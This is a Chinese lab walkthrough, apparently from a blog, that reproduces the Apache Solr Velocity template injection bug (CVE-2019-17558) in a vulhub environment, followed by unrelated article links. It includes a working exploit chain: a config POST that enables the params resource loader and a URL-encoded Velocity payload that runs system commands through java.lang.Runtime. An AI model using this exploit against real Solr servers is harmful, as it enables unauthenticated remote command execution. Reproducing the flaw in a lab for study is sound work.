vulhub中Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

2.通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称:

复制代码
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3.注入Velocity模板即可执行任意命令:

复制代码
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关推荐
味悲2 天前
Apache HTTP 服务器配置
服务器·http·apache
万岳科技系统开发3 天前
AI赋能互联网医院小程序开启智慧医疗新时代
人工智能·小程序·apache
愤怒的苹果ext4 天前
Apache Superset 使用
apache·doris·bi·superset·ai bi
qq_185198694 天前
骆驼任务Flowable + Apache Camel 集成
spring·apache·flowable
ClickHouseDB4 天前
ClickHouse 十年开源,今非昔比!
clickhouse·开源·apache
代码不会写5 天前
Apache Iceberg:架构原理、读写机制、性能优化与生态
性能优化·架构·apache·iceberg
risc1234566 天前
【lucene】impacts与帕累托最优
lucene
Gent_倪6 天前
数据治理之安全管理:Apache Ranger
apache
SelectDB6 天前
Apache Doris 实战教程:手把手实现 ClickHouse 表结构迁移与数据校验
apache
SelectDB6 天前
Apache Doris 实战教程:从零搭建 MCP Server,让 AI Agent 直接用自然语言查数据
apache